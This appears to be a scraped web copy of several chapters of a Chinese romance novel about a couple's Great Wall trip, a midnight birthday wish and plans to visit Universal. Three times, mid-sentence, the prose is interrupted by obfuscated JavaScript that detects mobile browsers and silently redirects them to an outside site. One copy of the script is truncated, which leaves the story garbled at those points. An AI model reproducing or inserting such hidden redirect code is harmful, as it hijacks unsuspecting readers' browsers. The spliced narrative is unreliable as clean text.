“说说看。”姜南西仰起头,眼罩隔绝了所有光线,阳光包裹着全身,整个人像躺进一片温和的水里,世界变得朦胧,万物的影子从水面上虚虚掠过。 宁朝的声音在耳边响起:“餐厅里谁最厉害?” 姜南西想了下:“不知道。” 宁朝说:“客人。” 姜南西说:“为什么?” 宁朝说:“因为他们有点东西。” “......”姜南西不服输,让宁朝再问一个。 储备量足够多,宁朝信手拈来:“世界上最卷的地方在哪儿?” 姜南西怨气拉满:“我前公司。” 这个话题不太友好,宁朝匆匆瞥一眼姜南西,今天她没戴帽子,太阳很大,照着她修长的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802585|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脖颈明晃晃的白,因为害怕鬓角冒出细汗,濡湿碎发,蜷成小小的一团。 他就这么盯着将那西的侧脸,都忘了要说话。 还是姜南西催他:“这就没了?” 倏然回过神,宁朝咳嗽了下掩饰情绪:“你知道广东人为什么不怕太阳吗?” 姜南西猜不出来:“为什么?” 宁朝说:“因为身正不怕影子斜。” 话落姜南西没有停顿,直接反问他:“不是说你们北京人不玩儿谐音梗吗?” 这下换宁朝转不过弯了:“为什么?” 姜南西反将一军:“因为老北京布鞋啊。” 车厢缓缓上行,狭小的空间中,两人一来一往地讲笑话,比冷气还冷,北极熊走进这车厢都得套两条毛裤。 也考对方急转弯,姜南西的注意力成功被转移,渐渐地不再那么害怕。 车厢晃动也感觉不到了,任何东西都不能干扰她的好胜心:“有一个可爱的橙子走在路上碰见一个香菇,然后这个可爱的橙子就死了,为什么?” 宁朝听见可爱俩字儿忍不住想笑,很难说不是在夹带私货。 他一本正经:“橙子这么可爱不能死。” 姜南西立马改口:“那它就不可爱,为什么这个不可爱的橙子死了?” 宁朝说:“不知道。” “因为菌要橙死,橙不得不死。”说完,姜南西兀自双手拍掌,仰头哈哈大笑。 “那我就给橙子裹一层酱,叫它不要死。”宁朝勾唇,“因为酱在外,菌令有所不受。” 姜南西脸上的笑顿时尬住。 笑容转移到宁朝的脸上。 姜南西发誓,她清晰地听见宁朝的笑声里藏着一抹恶作剧的得意。 被这声取笑冲昏了头脑,姜南西完全忘记自己身处百米高空,一把拽下眼罩,刚要回击,余光忽然瞥见一处壁立的断崖,她猛地身体僵住,心脏骤缩。 紧接着,一只温热的手掌轻轻覆在她的眼前。 宁朝反手盖住她的眼睛,温声说:“坚持下,马上到了。” “噢。”姜南西应了声,声音小到几乎自己都听不见。 因着这个动作,姜南西眼前陷入一片浓稠的黑暗,其他感官变得迟钝麻木,只有宁朝手心那源源不断的温度,带着灼灼热气,从眼睛向四处肆意蔓延,所到之处开始微微发烫,姜南西本能地想伸手捂下脸颊。 她一动,宁朝就说:“别动。” 姜南西收回手,又轻轻噢了声。 刚才还被冷笑话和冷气双重轰炸的车厢,燃起一股难以言说的燥热。 气氛悄然变得暧昧。 谁也不说话,都没有打破这份沉默,周围一切在静谧中虚化,只有手心的温度和颤栗的睫毛提示着对方的存在。 太安静了,姜南西还是没有忍住:“你......” 开口嗓音有点哑,不知道是紧张还是因为别的什么。 她缓了缓重新说:“你明明知道那个笑话,为什么一开始装不知道?” 空气静默,宁朝半天没有说话。 又过了一会儿,才听见宁朝迟来的回答,回响在运行的车厢:“我就想听听你会说点什么。” 黑暗中,看不见宁朝的表情,但是姜南西隐隐听见他的话尾,也带着一丝若有若无的紧张。 车厢继续上行,小小地颠簸了一下。 姜南西的心跳得更快,心跳声急促而有力,感觉快要盖过索道运行的声音。 只是她觉得。 宁朝根本听不见,什么声音都听不见,他望着外面风景,眼神却怎么也落不到实处。 为了掩藏这个觉得,姜南西问:“还有多久啊?” 宁朝还是那句话:“马上到了。” 姜南西默默闭上嘴巴。 隔几秒,宁朝唤她:“姜橙子。” 姜南西:“啊?” “你能不能不眨眼睛。”宁朝犹豫了下,“睫毛......有点儿痒。” 姜南西抿了抿唇:“我控制不住。” 宁朝说:“那你把眼睛闭上。” “不会等我闭上眼睛,你就把手放开了吧?”姜南西惴惴难安,她不敢在车厢运行时有丝毫动作。 “不放。” “那我闭眼了,你真不放啊。” 宁朝笑一声,清朗干净:“真不放。” 23. 苹果汁 好汉坡,雄踞于八达岭长城北八楼,海拔约888米,地势险峻,石阶千重,宛若巨龙脊梁傲立山巅。 此地因毛主席的诗词“不到长城非好汉”而得名,引无数游客前来挑战打卡。 纵然索道已经上到北七楼,免去大部分的跋涉,但从北七楼到好汉坡的这段路,才是真正的险途和陡坡,不仅有的台阶又高又窄,而且越往上走,角度越发接近垂直。 最后一小截爬到一半,姜南西的双腿开始不听使唤,可往后看更吓人,不上不下的,逼着她又往上爬了十几个阶梯。 最终停在三分之二的路程,姜南西败给了恐高。 离最顶上的观日台还差一个陡坡,姜南西望而却步,她摆了摆手坐下来,边喘气边说:“歇会儿歇会儿。” 对比之下,不恐高的宁朝倒是没什么反应,他顺手捞起姜南西背得快掉的包,然后也在她身边坐下。 时间还早,又不是什么节假日,人不是很多,两人坐在旁边不算挡道。 不是最高点,欣赏风光也绰绰有余。 雨后空气透净,烟云缭绕,长城如巨龙静卧在葱茏山峦,烽火台错落有致,守望万里群山,风声在山谷间呼啸、回荡,似是历史的金戈铁马奔腾而过。 天朗气清,风景壮阔无垠,姜南西身体后仰,双肘撑在高一级的台阶,凝目远眺。 心脏适应这个高度,姜南西的呼吸趋于平缓:“爬了一半,算半个好汉吧。” “我这一半也算你头上。”宁朝开了瓶矿泉水给她,下索道时自助贩卖机买的,捏了一路,他夸张地放低声音,“这事儿别告诉别人,咱俩知道就行。” 姜南西接过水:“成啊宁总,要封口费吗?” 宁朝自己喝另一瓶,京腔无缝衔接:“崩介,太客气。” 姜南西听得直乐。 不声不响坐了阵儿,上面的观日台忽然传来几声欢呼,姜南西回头看去,发现是有人在求婚。 她放下矿泉水瓶,随手接过宁朝递过来的相机,相机已经开机并且取下了镜头盖。 好在镜头焦段够用,坐在原地也能拍几张不错的照片,拍完姜南西兴奋地跟宁朝说:“在长城求婚,好浪漫啊。” 天地作证,万物为媒,让历史古今共鉴此刻的爱意。 “你喜欢这样的仪式感?”姜南西坐回来,宁朝的视线跟着她转回来。 听到“仪式感”三个字,姜南西摁相机的手一顿,想到昨晚某人没看成的星星,半边眉毛几不可见地扬了下。 姜南西说:“还行,谈不上喜欢。” 宁朝说:“你刚刚还说浪漫。” “就那么一说。” 她沉吟两秒:“我对浪漫的定义可能跟别人不太一样,有的人觉得惊天动地是浪漫,但比起在人群里,我更喜欢安安静静的。” 高处让人心生畏惧,但旷野开阔也让人平静和从容。 风景心旷神怡,姜南西长长吐出一口气,感受到最近心境发生了一些变化,她不再过分担心审视和误解,也不惧于偶尔和人谈论真实的内心。 “而且不止是求婚啊,你想啊,人的一生也许会遇到很多波澜壮阔的时刻,但如果有一个很平常的瞬间,两个人只是坐着,哪怕不说话,但都觉得很舒服,很放松,那一刻才是真正的浪漫。” 姜南西坐在石阶上,背脊随意向后靠,白皙的皮肤在太阳下微微反光。 她转头问宁朝:“你觉得呢?” 长城上,砖石斑驳,在阳光下闪烁着古朴的光芒,夏风掠过绵延山脉,从远处吹过来,撩起宁朝额前的碎发,露出他优越的眉骨和清晰的轮廓。 他试着想象姜南西说的那些话,觉得对,也觉得不对,不一定是安静。 他有过很多个那样的时刻,只是那时两人还不认识,而且另一个人一直在说话。 但明面上,宁朝还是表示赞同:“我觉得有道理。” 表达不容易,要给予鼓励。 “如果能被小猫小狗看见就更好了。”姜南西甩甩被风吹乱的头发。 这时,路人不慎掉了个帽子,帽子滚到宁朝脚边,他随手捡起还回去,从头到尾眼神看的姜南西:“为什么是小猫小狗?” 他问的为什么是,而不是为什么要,已然被姜南西天马行空的幻想同化。 姜南西欢快道:“因为这样除了人类,小猫小狗也会很快乐的!” 宁朝垂下脑袋,手指轻轻揉了下眉心,笑意在眼尾漾开,他发现姜南西时不时会蹦出一些童真的想法,还都离不开小动物。 “不过话说回来,再平常也还是要有惊喜的。”姜南西迅速瞄一眼宁朝侧脸,她努力克制想笑的冲动,尽量让自己的情绪听起来正常:“毕竟惊喜是拯救生活的良药呢。” “是。”宁朝认真点头,“小姜老师说得对。” 听到这称呼,姜南西怔了下,大脑疯狂转动但毫无头绪,不知道他从哪学来的。 时间待得差不多,宁朝起身准备带着姜南西下去吃个午饭,姜南西误解了他的意思,以为他是急着下去退房,连忙把人拉回来坐下。 “不着急退房。”她挑了下眉,“我续订了。” 果然宁朝一头雾水:“为什么续订?” 看他困惑的表情,姜南西就知道这一上午的“小算盘”打成功,她语气轻快:“赔你一晚星星啊!” “惊喜。”她靠在石阶上,舌尖弹个清脆的响舌,笑起来有那么一点坏,又灿烂阳光,活像个调戏根正苗红好青年的大姐头,“怎么样啊三儿,这个封口费够格儿不?” 宁朝看着她失神一瞬,坐回来:“还继续往上爬吗?” “有时候,适当的放弃也是一种勇敢。”姜南西对自己的胆量有明确认知,说完她自我肯定,“又是个金句,我要把它记下来。” 她自说自话,宁朝沉默不语,只是安静坐着,目光落向辽阔的浩渺云山。 在宁朝看来,其实浪漫还有另一种定义,朦胧,成全,和理解。 所以他没有直接告诉姜南西,几个小时前她续订成功的时候,民宿管家就给他发了通知短信。 也正如现在,他理解了刚才的那番话。 夏天,宁朝坐在姜南西的身边,很浪漫。 · 从长城上下来,先是吃了顿饭,然后没什么目的地在附近村子里逛了逛。 不必要什么景点都去,两人倾向于顺其自然,顺着顺着就把时间拖到了黄昏,吃过晚饭各自回房间洗了个澡,然后躺到院子躺椅上,用投影仪看电影。 宁朝挑的电影,《白日梦想家》。 夜色幽邃如绸缎,银河横贯中天,从院子上空斜向西南大地。 丁香一树淡紫,高高印在湖蓝色的天空,暗香浮动,微风携下几朵花瓣,袅袅娜娜落在树下两人的身上。 花掉下来,姜南西没管,而是盯着不停变换的电影画面,主人公沃特正沉浸在一场光怪陆离的白日梦,化身超人拯救世界。 重提刚才的话题,宁朝问她:“你幻想的时候都想什么?” “跟他一样。”姜南西右手比个八,直直一点屏幕里拯救世界的男主,和他异口同声:“我的人生信条是,冒险,勇敢,创新。” 接着,她双手向上一拉,做个盖好被子的动作,神色坦然:“然后,美美地睡过去。” 宁朝单手托住脸颊,侧目看着她滑稽的一举一动,静静地看着她淡笑。 姜南西问:“你就没有幻想过吗?” 宁朝想想说:“幻想公司上市,股票涨停,一举跻身世界五百强,到时候彻底躺平再也不用上班,然后——” 他学她,做了个相同盖被子动作,脑袋一歪:“美美地睡过去。” 姜南西撇撇嘴:“你那不是幻想,幻想是要不切实际的。” 宁朝一乐:“谢谢您。” “谢我干嘛?” “你竟然觉得我们公司上市的可能性比我变成超人还大。” 两人边看边聊天,有一搭没一搭,有什么说什么,用这种方式解乏。 影片整体风格奇幻独特,沃特在现实和白日梦之间穿梭,在梦中,每一帧画面都惊险刺激叹为观止,可现实中,他的老板质疑他有病。 “幻想才不是病。”姜南西抱不平,她放下喝了一半的甘蔗汁,坚定道:“是药。” 通过幻想,人类可以去往世界任何地方,开启无数随心所欲的旅程,变成小鸟飞过大山和海洋,从天空掉下来也没关系,因为幻想可以止痛。 “那如果直接去做呢?”比起幻想,宁朝更推崇用行动把想象变成现实。 幻想派姜南西不假思索道:“那就可以找到二十五号底片啦!” “你找到了吗?”姜南西看向宁朝,光影在她脸上跳动,虚虚实实,“你的二十五号底片。” 画面同样跳进宁朝眼底,他眸光闪动,努力不让自己看向姜南西。 他淡淡道:“暂时还没有。” 电影后半程姜南西几乎靠毅力强撑,爬长城消耗了太多体力,她筋疲力竭到犯困,有时候宁朝一句话,她要反应半天才想起来回答。 电影是她要看的,所以熬到片尾曲一响,宁朝立马起身,催她去睡觉。 姜南西偏不。 她“噌”地从躺椅上坐起来,眼光炯炯,像打了鸡血一样,好似刚才那个昏昏欲睡的人不是她。 姜南西眼睛亮晶晶,向往的语气:“我们去古城墙上看星星吧。” 天井里,宁朝抬头看看天,又看看她:“不是看了一晚上了吗?” “城墙上的星星不一样!”姜南西义正言辞,她站起来边找拖鞋边说,没站稳抓了把宁朝的胳膊,“你等我回房间拿个相机。” 宁朝扶着她,用脚尖把另一只拖鞋踢给她。 姜南西回房间拿相机,宁朝也进屋一趟,出来时手里多了件外套。 深夜的岔道古村寂静安宁,温度很低,寒意渗透青石板缝隙,街边的花坛上,覆着一层绒绒细霜。 路过一家小卖部,在无边的黑暗里漏着薄薄的光。 “相信我,RIO是不会醉的。”光照昏黄的门边,冰柜呼呼往外冒冷气,姜南西手拿一瓶果酒信誓旦旦,她问宁朝:“你喝什么?” “苹果汁吧。”宁朝说,总得有个清醒的。 姜南西边拿边问:“你很喜欢苹果吗?”她记得昨天他买的酸奶也是苹果味的。 宁朝说是啊:“从很小就喜欢了。” 在姜南西眼中,苹果是一种很普通很平淡的水果,食之无味,弃之可惜,像一部永远没有重点的电影。 很难想象会有人喜欢苹果这么无聊的水果,姜南西在他身后做个鬼脸。 城墙上,晚风层层涌动,好像离天空更近了一点,近到一抬头,就跌进浩瀚的星海。 姜南西穿着宁朝的外套,把pocket3放在垛口上录星空,边录她边不着调道:“你说宇宙里会不会有外星人啊?” 宁朝懒洋洋靠在墙上,指尖无意识摩挲罐身的水汽:“如果真的有外星人在观察地球,他们就会很看见并且搞不懂,为什么有个渺小的地球人明明困得要死,却还非要大半夜跑到城墙上来看星星。” 话落,姜南西刚好打了个哈欠,眼里水汪汪,看上去非常疲惫,但她就是无端坚持着什么,丝毫没有要回去睡觉的意思。 从看电影到买酒,再到爬上城墙看星星,姜南西的行为非常古怪,像是在有意拖延时间。 宁朝目光探究看过去,和姜南西的轻轻一碰,被后者极不自然地避开。 “真不回去?” “不回。”姜南西双手握拳抵下脸侧,转而抬头看天:“为什么看见的不是两个渺小的地球人,躺在院子里看电影?” 她说什么宁朝就接什么,相当配合:“那是别的外星人的任务,那两个小人只是聊天也说不定。” “也会有丁香花吗?”姜南西心思不在对话上面,张口就是胡说八道。 宁朝说:“也可能是枇杷树。” 姜南西不动声色看眼手机,还差半个小时。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802586|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 人在做一件想做但不是那么重大的事情之前,会本能地感到忐忑,这忐忑不比破釜沉舟激荡,相较下来,它更细致,更平和,也更铭心。 譬如现在的姜南西,她手心无意识将铝罐捏的微微作响,可眼神是平缓的,看不出一丝异样。 宁朝喝掉瓶苹果汁,扔掉空罐,转身拿起垛口的大疆,不容置疑的口吻:“走了回去睡觉。” 姜南西实在找不出别的理由了,好半天才扯出一句:“真不再看会儿星星了?” 一看这慢半拍的反应,宁朝无奈叹气。 完,又喝多了。 酒精像温暖的潮水,一波波冲刷着姜南西的意识,她觉得自己应该不是醉,一方面是思维被被慌张打散了,不受控制地乱飘,另一方面是因为真的太累了。 不管哪种原因,宁朝径直走过来把大疆塞她手里,随后转身屈膝半蹲:“上来。” 姜南西机警:“干嘛?” “醉成这样你自己下楼梯?”见她愣着没动,宁朝索性伸手,一把拉过姜南西的手放到自己肩膀,紧接着,他双手稳稳托住她的腿弯,稍一用力将人背起来。 毫无防备的,姜南西趴到了宁朝宽厚的背上,他侧头:“搂好。” 这声音好似有魔力,吸引着姜南西甘愿沉沦,从后面紧紧环住了宁朝的脖子,下巴搁在他肩膀上,她闻到宁朝用的沐浴露的味道,微微清新的苦。 从头到尾都是慢慢地走,因为只要宁朝脚步一快,姜南西就不满地哼哼:“你要飞啊?” 宁朝耐着性子:“姜橙子,最好你明天醒过来还有这个胆子。” 姜南西二话不说把嘴闭上,这反应速度让宁朝不禁怀疑:“你是真醉还是假醉?” 姜南西说:“我不经常喝醉的。” 喝多的人都说自己没多,宁朝嗤了声:“你上次也这么说的。” 树丛里时不时传来三两声蝉鸣,姜南西闭着眼睛听,不经意呼出一口温热的气息,随即感觉身下的宁朝背脊一僵,一瞬即逝。 她拖着迷糊的尾音:“宁朝,这个蝉鸣好像一首催眠曲。” “这么晚你应该睡觉了。”宁朝背着她,脚步稳健有力,“不止你该睡觉,小猫,小狗,还有知了猴,都该睡觉了。” 姜南西笑:“你为什么总把蝉叫成知了猴?” 宁朝说:“你不喜欢北京话嘛。” 姜南西又问:“你为什么喜欢苹果?” 这个问题宁朝没有回答。 酒精的作用,让姜南西变得大胆而直接,她拍拍宁朝肩膀:“为什么?” “你真是喝多了。”宁朝无可奈何,他半是担心半是叮嘱地商量:“以后能少喝点儿吗?” 姜南西不承认:“我只有第一次见你的时候喝多了。” 想起那晚的惊心动魄,宁朝眼眸微缩,似有紧张掠过,持重如他,也无法设想如果当晚姜南西遇到的人不是他。 不知道姜南西能听到多少,明天又能不能记得,所以宁朝把语气放得很慢,脚下的路也变得漫长:“姜橙子,其实我当时......很害怕。” 姜南西想都没想地说:“我又不会生扑你。” “......”风过,吹冷一片大地,宁朝没好气:“我怕你掉头扑别人。” 闻言,姜南西猛地窜直身体,振臂小声高呼:“勇敢的人先享受世界!” 喝多了也记着不扰民,真是把遵纪守法刻在了骨子里。 宁朝笑着托好她,笑容里有他自己都没发现的宠溺。 第二次经过小卖部,已经大门紧锁,只剩门前那盏小灯,光线落在宁朝肩膀,在姜南西眼前一晃,她想起来一事儿。 姜南西缓慢撑起点身体,小心翼翼地,将宁朝T恤的右边领口往下拉了点。 微弱的灯光里,她看见了宁衡远说的那道小疤。 宛如一片柔软的羽毛,指尖轻覆在上面,在触到男人的体温后,姜南西心脏蓦地发疼,仿佛被什么东西重重刺了一下,她怔望着那道疤,没发现宁朝很久没说话了。 她喃喃道:“你一定要做你想做的事情。” 声音很轻,像在跟宁朝说,又像在跟自己说。 把姜南西背回房间放到床上,宁朝抬头看眼墙上的挂钟,再过几分钟又是零点了。 短短四十八个小时内,姜南西敢在他面前喝醉两次,不知道到底是酒壮怂人胆,还是太相信他的人品。 这样下去不行,宁朝觉得有必要找个时间好好跟她说说别再喝酒。 将姜南西一切都照顾妥当,宁朝倒了杯温水放床头,又低头仔细看了看她的眼皮睫毛,确信她没化妆后,站起来关掉吊灯,准备离开房间。 转身的刹那,姜南西忽然一把抓住他垂在身侧的手,含糊说了句:“再等两分钟。” 宁朝回头,姜南西躺在床上,仍旧闭着眼睛,不知是醉还是醒。说完那句姜南西便再没发出声音,仿佛那也只是她睡梦中的一句呓语。 而即便如此,宁朝还是握着她的手,老老实实地站在床边。 因为他知道姜南西需要。 屋里只开一盏床头灯。 墙上挂钟的秒针不紧不慢,像个快乐的小精灵,滴答滴答奔赴第二天。 不知道是不是真的过了两分钟,也可能没有,宁朝忽的感到姜南西的手动了一下,然后一片静寂中,她说:“生日快乐,宁朝。” 姜南西一直闭着眼,不知醉还是梦,语气低低:“祝你永远有最甜最好吃的大苹果。” 话落,挂钟转表,日历翻新。 像打湿的火苗爆开最后一星火花彻底熄灭,姜南西再次睡去,这次她是真地放心睡过去,呼吸均匀而绵长,宁朝放下她的手,动作轻柔而小心。 他想,外星人现在应该可以收工交差了。 姜南西莫名固执一整晚的原因,如果错过了零点,那她就当最后一个祝宁朝生日快乐的人。 最后,满室昏昧,宁朝温柔地摸了摸姜南西的侧脸。 “晚安,大苹果。” 24. 石榴汁 几天后的下午,在公司上班的宁朝收到一个快递。 快递一开始不是寄到公司,而是寄到了什刹海那边,宁衡远一看收件人后来转寄过来的。 拆开是一对卡地亚的袖扣。 银白色袖扣静置在黑色丝绒上,仿封蜡章造型,色泽温润,泛着清冷的哑光,不张扬却自带贵气。 卡片上简单几个字,生日快乐。 会给他寄生日礼物但又只知道什刹海地址的,宁朝只能想到一个人。 他悠然地靠在椅背上,长腿交叠,一手把玩着装袖扣的红色盒子,另一只手打电话,看上去心情不错。 打了两个,姜南西都没接,宁朝想起来她说今天有点事儿。 放下手机的时候,阅川推门而入。 随之而来的,还有他积攒数日的怨气:“把最优秀的下属扔在出差地自己却提前回来,你需要给我一个合理的解释。” 宁朝拉开办公桌最上层抽屉,专门整理出一个区域,将袖扣放进去:“摆清楚你自己的身份,我是你老板,不是你老公。”说话时头都不抬。 阅川从生气变得嫌弃:“你有点暧昧了。” “什么事儿?”宁朝坐起来。 阅川无所谓地坐到对面,比老板还老板的口气:“咱们年中评优会推进到哪一步了?” 宁朝眯眼:“你把行政部开了?” “那王姐不是休产假了吗?”阅川啧了声提醒,“手底下那几个没这方面经验,不知道怎么弄。” 宁朝是个有良心的老板,每回评优不仅优秀员工能获得丰厚的奖金,其他人也可以参与抽奖,奖品丰优渥,手机相机已屡见不鲜,就算是最基础的阳光普照奖,也是实打实的三千块现金。 所以废寝忘食成功落地一个大项目之后,评优会成了所有人最期待的事。 往年都是由行政部负责举办并采购奖品,今年主事人不在,大家齐刷刷把目光投向了耽于酒色、荒废朝政的昏君——宁朝。 宁朝眼风扫出去,玻璃墙外围观人等作鸟兽散。 有良心,但也有些威严。 至于为什么让阅川来说,因为他不怕宁朝。 收编阅川的过程比较跌宕,源于清华和北大两所顶尖学府的互相看不上眼。 两人在校际机器人大赛上认识,彼时,宁朝团队的机器人将阅川团队的机器人摁在地上摩擦,机器人被打得眼不是眼,腿不是腿,躺地上犹如某位亲身实践“马裂主义”的秦国政治家。 团队都在欢呼庆祝,而实际上只有宁朝清楚,这场胜利有三成的运气加持,如果时间允许,阅川能运用上他的全部技术,并且更换最合适的材料,自己极有可能会输。 后来听说北大在下一届比赛中力压群雄,阅川激动到热泪盈眶,直呼王师北定中原日,家祭无忘告乃翁! 通过这场比赛,宁朝发现阅川是个不可多得的人才,他诚邀对方加入自己的创业团队。 本也是学校风云人物,大败一场心生不服,阅川想着法儿地整宁朝,指着北大西南门的鹅腿摊儿:“吃辣吃过我。” 而关于后来的结果,阅川形容当时是脑子被门夹了才会跟人比吃辣——他忘了自己是广东人。 但阅川转头一想又觉得平衡不少,因为同样是买鹅腿,北大的比清华的便宜一块钱。 还要会议,时间不多,宁朝直奔主题:“拿出来吧。” 阅川扬起一个恰到好处的笑容,拿出一张写得满满当当的A4纸,简直就是一串许愿清单,拿宁朝当许愿池里的王八。 阅川说:“这是我们公司年中评优的奖品。” “这是我们公司年中评优的奖品。” 潘家园对面的新疆巴依老爷,店内靠柱餐桌,何星屿递给姜南西两张礼品卡,在她抬手拿走的瞬间又“嗖”地缩回来,一抻脖子八卦问道:“这两张环球门票,打算跟谁一起去啊?” 姜南西要多气人有多气人:“要你有时间,咱俩明儿就去。” 何星屿“嘁”了声,把礼品卡塞她手里:“跟你的Prada哥哥双宿双飞去吧。” 姜南西嘬着石榴汁,吸管搅动杯子里的冰块,睫毛扑闪扑闪,样子无辜又乖巧:“我邀请你了但你没有时间呀。” 何星屿佯装瞪她:“你就气我吧。” 年中项目成堆,何星屿最近忙得脚不沾地,今天来潘家园这边拍摄,赶上灯光师临时请假,情急之下他把姜南西薅了过来,并赠送两张环球门票礼品卡当作谢礼,反正他也没时间去。 戏精上身,何星屿假模假式地抹了抹不存在的眼泪,兰花指一点姜南西:“真想把你的心剖开来,看看里面到底装着谁。” “我心里装的都是伟大的祖国母亲!”姜南西立马放下筷子,她双手交叠捂住心脏,满脸坚毅和虔诚:“我永远爱我的祖国!” 正式开拍前,站到专业片场中央,姜南西不免有些忐忑:“我这三脚猫的功夫能行吗?” 何星屿俯身调试机器:“要求不高,大学学的那点儿够用了,况且你这么聪明肯定没问题。” 得到信任和鼓励,姜南西感觉浑身注满力量,扛起两个柔光箱转身迈进拍摄区域。 整个下午的拍摄,姜南西都尽心尽头,许是有段时间没踏进片场,重新回到工作环境,姜南西竟然像个刚毕业的大学生一般,又找回了最初拍摄的那种的喜悦和新鲜。 最后一个镜头杀青后,何星屿给她拍了张一日打光师体验纪念照。 人潮涌动的市场里,姜南西灰头土脸,抱着一个比她高出许多的补光灯,眼睛弯弯,笑得肆意又灿烂。 很有活力的一张照片,发在朋友圈,好友纷纷评论:活人味十足。 宁朝看了会儿,点了个赞,保存。 猜她差不多忙完,宁朝打开两人微信聊天框,慢慢输入几个字。 而这头呢,姜南西这才发现,宁朝在几个小时前给她打过两个电话,但因为忙碌她完全没听见,于是赶紧回拨过去。 宁朝的第一句话含着笑意:“你怎么知道我要给你发消息?” “你怎么知道我要给你打电话?”姜南西嗓音清甜,仍处在亢奋的新奇里,脚下步伐生风,带起几片落叶。 “看到你朋友圈了。”胡同里,宁朝掀眸看向车流络绎的胡同口,“感觉怎么样?” 也不管他能不能看见,姜南西笑着连连点头:“打光特别好玩儿!” 难怪常言道距离产生美,这不,离开几天,看啥都顺眼。 宁朝也笑:“你都是当过打光师的人了。” “你下午怎么给我打了两个电话。”招了辆出租车,姜南西坐进去朝司机报了个地址,又接着问宁朝:“是有什么事儿吗?” 宁朝说:“想跟你说收到生日礼物了。” 姜南西抓着衣角的手紧了紧,“你拆了吗?喜不喜欢?” “喜欢。”宁朝语色低沉而舒缓,头顶大树枝叶繁茂,在他额前倾覆一片暗影,白云和苍狗屁股抵着屁股趴在墙头,一瞬不瞬地盯着他。 他问姜南西:“为什么想到送我袖扣?” 姜南西嗯了声,想了想才说:“一开始我也不知道要送你什么,感觉你什么都不缺,前两天跟大哥聊天,他说你有时候要去见投资商,想着这个应该能用得上。” 话刚出口,姜南西隐隐觉得有些过界,停一秒,又赶忙补充了句:“如果你需要的话。” 从这短短的停顿里,宁朝捕捉到她的紧张,朗声道:“很需要。” 接着,他也补充了句:“下次去见投资商,我会戴上它的。” 听到这话,姜南西前一秒还紧绷的嘴角瞬间上扬:“那希望它能给你带来一点好运,助你下次见投资商旗开得胜。” 司机大哥透过后视镜瞟眼后座,只见那姑娘眉开眼笑,整个人向外散发着欢快的气息。 不知不觉打了一路电话,遇到第六个红绿灯,出租车缓缓停下,街边亮起路灯。 宁朝问姜南西:“明天你还要忙吗?” “啊大哥又让我去吃饭吗?”姜南西倒吸一口凉气,“求求了让孩子缓两天吧。” 结拜兄弟后,宁衡远连着几天叫她去家里吃饭,硬生生把姜南西不爱喝水的习惯改掉了。 心尖被她的可爱填满,一片柔软,宁朝看向远处天际线,夕阳染红什刹海的天空。 他说:“明天天气很好,一起去环球吗?门票我买好了。” 半天没有等到姜南西的答应,甚至一丝声音都没有。 以为她不愿意,宁朝心下一凉:“如果......” “你怎么也买票了啊!”话筒里传来姜南西懊恼的喊声。 喊完觉得这样不礼貌,姜南西迅速对司机大哥说声对不起,而后放低音量跟宁朝说:“今天我室友刚送我两张环球门票的礼品卡,你那还能退吗?” 宁朝松了口气:“跟身份证绑定的不能退。” “那我还是把这卡还给他吧。”姜南西郁闷。 结果宁朝说:“不用还,我们明天纯玩项目,后天只追花车,一天一样节省体力。” 绝不浪费一张门票。 “要不直接干票大的。”知道是玩笑,姜南西的心也被带飞了,“晚上躲进花车里,第二天游它个三四遍。” 宁朝觉得行:“你演Fiona公主,我演霸天虎。” 姜南西笑着摇了摇头:“那优速通我来买啊。” “买完了。”之前她说不想排队,宁朝就一次性都买齐了,“当是生日礼物的回礼。” 再推辞就矫情了,姜南西说:“行,明天送完孩子我就没事儿了。” 宁朝说:“明早我去接你。” “好” “明天见。” 下班点路上有点堵车,司机大哥堵得无聊,见姜南西挂掉电话,拉着她聊天:“跟老公打电话呢,有孩子了感情还这么好。” 姜南西表情一滞,知道他误会了:“不是,就是......” “哎呀呀呀呀呀呀呀不用害羞,哥我也如胶似漆过,都懂。”大哥说了长长一串,又问:“这是准备跟老公去环球玩儿啊。” 这回没等姜南西回答,大哥又是一长串:“那地儿好啊好着呢那儿!那个诶!是不是去了那儿就能变成内什么来着!就内个内个内个内个内个?” 姜南西茫然:“什么?” 司机大哥想起来了:“对对对对对对对就内个内个窝瓜。” 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809218|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南西猜他可能是想讲麻瓜。 “要我说呀您也甭光去环球,咱北京好地方不多得是!听哥一句劝,您就去东城内个内个,西城内个内个,还有庄儿垫陶儿亭王五井儿公汝坟儿霍霍寺灯儿口八大胡同儿大shilar......” 司机大哥滔滔不绝,洋洋洒洒给她推荐了一大堆景点,但姜南西望向车窗外的黄昏,一句也没听进去。 那能怎么办呢。 她现在,只想去环球影城。 同一片黄昏,落在什刹海。 